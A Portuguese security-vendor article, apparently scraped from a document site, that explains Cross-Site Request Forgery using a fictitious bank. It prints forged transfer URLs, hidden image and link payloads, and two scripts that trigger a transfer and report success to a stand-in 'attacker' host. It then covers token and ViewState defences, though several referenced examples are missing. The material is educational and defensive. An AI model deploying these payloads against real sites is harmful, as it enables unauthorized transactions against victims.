Escolar Documentos
Profissional Documentos
Cultura Documentos
Search
Categorias:
o Artigos RedeSegura
o Últimas notícias
o Press Release
Atualizações:
Por data:
o September 2013
o May 2013
o February 2013
o January 2013
o December 2012
o November 2012
o October 2012
o September 2012
o August 2012
o July 2012
o June 2012
o April 2012
o March 2012
o February 2012
o January 2012
o November 2011
o October 2011
o September 2011
o August 2011
o July 2011
o June 2011
o May 2011
o April 2011
o March 2011
o February 2011
o January 2011
o December 2010
o November 2010
o October 2010
o September 2010
o August 2004
Post navigation
← Anterior Próximo →
Série Ataques: Saiba mais sobre os
ataques Cross-Site Request Forgery
(CSRF)
Por Equipe RedeSegura | Mar 08, 2012 - 16:06
O alvo do atacante geralmente são as transações valiosas e mais comuns nos sistemas de
aplicativos web, tais como:
Aplicações vulneráveis são exploradas basicamente por meio das seguintes etapas:
Exemplo Prático
Para entender melhor esse processo vamos apresentar um exemplo prático de um ataque
CSRF. No exemplo abaixo, Alice utiliza o sistema fictício do Bank.com e deseja
realizar uma transferência de 100 reais para Beto na segunda-feira. O formulário de
transferência pode ser traduzido de uma maneira bem superficial para a seguinte forma:
A requisição, de uma maneira genérica, será feita pelo método POST da seguinte forma:
http://bank.co/transfer.do?acct=HACKER&amount=500
Para camuflar seus verdadeiros objetivos, o atacante decide ainda utilizar um serviço
encurtador de URL, transformando a URL do ataque em um link para o fictício serviço
“urlcurta”:
http://urlcurta.br/yhdkadkw
Ao enviar esta informação para Alice e ludibriá-la a invocar a URL enquanto conectada
ao seu Banco, o atacante estará executando transações de maneira arbitrariamente sob o
nome de Alice, efetivamente transferindo 500 reais da conta dela para sua conta.
Outros exemplos
Dentro desta mesma aplicação vulnerável, o atacante poderia escolher fazer referência a
esta URL dentro de um outro aplicativo terceiro e convidar Alice a visitá-lo. Uma
abordagem simples poderia ser o uso da tag HTML anchor (<a>) para criar um link de
acesso no corpo do aplicativo ou de um e-mail enviado para Alice, conforme exemplo
abaixo:
<a href="http://bank.co/transfer.do?acct=HACKER&amount=100000">Veja
minhas fotos!</a>
Para sofisticar o ataque, o atacante poderia ainda esconder a requisição dentro de uma
referência de imagem em um aplicativo HTML qualquer e convidá-la a visitar:
<img src="http://bank.co/transfer.do?acct=HACKER&amount=100000"
width="1" height="1" border="0">
Alice não irá notar e o navegador irá submeter a solicitação ao bank.co sem qualquer
indicação visual de que a transferência foi executada. Se Alice estiver autenticada na
aplicação do banco, a transação será concluída com sucesso.
Abaixo uma lista das formas mais comuns que o atacante pode utilizar para explorar o
CSRF em aplicativos vulneráveis:
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("GET",
'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
var receipt = new Image();
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
</script>
<script>
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",
'http://bank.co/transfer.do?acct=HACKER&amount=100', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
var receipt = new Image();
receipt.src = "http://attacker/attackResult.do?result=true";
}
};
xmlhttp.send(post_data);
</script>
Quando o usuário gera uma solicitação por meio de um formulário, um campo “input”
do tipo “hidden” deverá conter o token de proteção CSRF. Toda vez que uma transação
sensível for executada, o aplicativo irá comparar o token enviado com o valor
armazenado em sessão. Caso positivo, a transação será realizada e um novo token
gerado de maneira aleatório. Em caso negativo, o aplicativo deverá recusar a execução
da transação.
Exemplos
Algumas linguagens como Java já possuem funções específicas (via
java.security.SecureRandom) para geração de token longo e aleatório. A clase é usado
em aplicações Java para gerar um token longo e aleatório. No caso do aplicativo do
Bank.co, este valor aleatório seria colocado para complementar o formulário:
Desta forma, o pedido seria realizado de maneira única a cada vez que fosse executado.
Viewstate (ASP.NET)
Viewstate pode ser usado como uma defesa CSRF, uma vez que é difícil para um
atacante para forjar valores válidos por meio de predição. O ViewState indica o status
de uma página quando enviada para o servidor, esse status é definido através de um
campo oculto colocado em cada página com um controle <form runat=”server”>.
Lembre-se que é importante implementar controles criptográficos no ViewState para
garantir que ele não poderá ser manipulado por um usuário mal intencionado. Exemplo:
Neste caso específico, o código deverá ser aplicado em Page_Init porque a chave tem de
ser fornecida ao ASP.NET antes do Viewstate ser carregado.
Frameworks de Prevenção
OWASP CSRF Guard (For Java)
PHP CSRF Guard
.Net CSRF Guard
O sistema RedeSegura
Benefícios do uso
Integrações com a gestão de TI
Contate-nos ainda hoje para obter mais detalhes da nossa solução e como podemos
ajudá-lo na missão de manter seus aplicativos web seguros.